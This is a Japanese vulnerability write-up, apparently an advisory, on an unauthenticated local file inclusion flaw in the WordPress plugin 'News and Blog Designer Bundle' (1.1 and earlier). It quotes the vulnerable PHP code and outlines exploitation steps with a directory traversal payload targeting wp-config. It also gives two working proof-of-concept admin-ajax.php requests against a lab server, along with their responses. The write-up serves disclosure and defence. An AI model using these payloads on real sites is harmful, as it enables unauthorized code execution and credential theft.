
WordPressプラグイン「News and Blog Designer Bundle」のバージョン1.1以前のすべてのバージョンには、templateパラメータを介したローカルファイルインクルードの脆弱性が存在します。この脆弱性により、認証されていない攻撃者がサーバー上の任意の.phpファイルをインクルードして実行し、それらのファイル内の任意のPHPコードを実行できる可能性があります。.phpファイルタイプのアップロードとインクルードが許可されているシナリオでは、攻撃者はこの脆弱性を悪用して、アクセス制御をバイパスし、機密データを取得したり、コード実行を実現したりすることができます。
脆弱性タイプ: ローカルファイルインクルージョン (Local File Inclusion, LFI)
影響バージョン: News and Blog Designer Bundle 1.1 およびそれ以前のすべてのバージョン
深刻度: 高
攻撃の複雑さ: 低(認証不要)
主な脆弱性は includes/class-nbdb-ajax.php ファイルの nbdb_fetch_more_post() メソッドに存在します。
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
問題1: extract() 関数の不適切な使用
31行目のコードには重大な問題があります:
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() 関数は、配列のキーを変数名、値を変数値として、現在のスコープに直接展開しますextract() の戻り値は正常に展開された変数の数(整数)であり、配列そのものではありませんsanitize_text_field() 関数は文字列パラメータを受け取ることを期待していますが、ここでは整数が渡されます問題2: パラメータ検証の欠如
33行目では $template 変数を直接使用してファイルパスを構築しています:
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template 変数は extract($_POST['shrt_param']) に由来し、完全にユーザー入力によって制御されます問題3: ファイルの存在チェックのみ
34行目ではファイルの存在のみをチェックしています:
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists() はファイルの存在のみを検証し、パスの正当性は検証しません$template パラメータを制御できる場合、../ によるディレクトリトラバーサルが可能になりますinclude($template_file) が実行され、任意のファイルインクルージョンが発生しますshortcodes/class-nbdb-shortcode.php では、すべてのショートコード処理関数がホワイトリスト検証を使用しています:
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template() 関数を使用して許可されたテンプレートのリストを取得します(template-1 と template-2 のみ)array_key_exists() を使用してホワイトリスト検証を行いますtemplate-1 が使用されますこれは、開発者がパラメータを正しく検証する方法を知っていた一方で、AJAX 処理関数では検証が欠落していたことを証明しています。
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_ と wp_ajax_nopriv_ の両方のフックが登録されていますwp_ajax_nopriv_ は未ログインユーザーのアクセスを許可します/wp-admin/admin-ajax.php に対して悪意のある POST リクエストを構築しますaction=nbdb_fetch_more_post を設定しますshrt_param[template] にディレクトリトラバーサルペイロード(例: ../../../../wp-config)を注入しますextract($_POST['shrt_param']) を実行し、template を変数として展開しますNBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists() は true を返しますinclude($template_file) を実行し、対象の PHP ファイルをインクルードして実行しますwp-config.php).php 拡張子である必要があります(コード内で .php サフィックスがハードコードされています)include() によるインクルードファイルの実行を許可している必要がありますPOST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}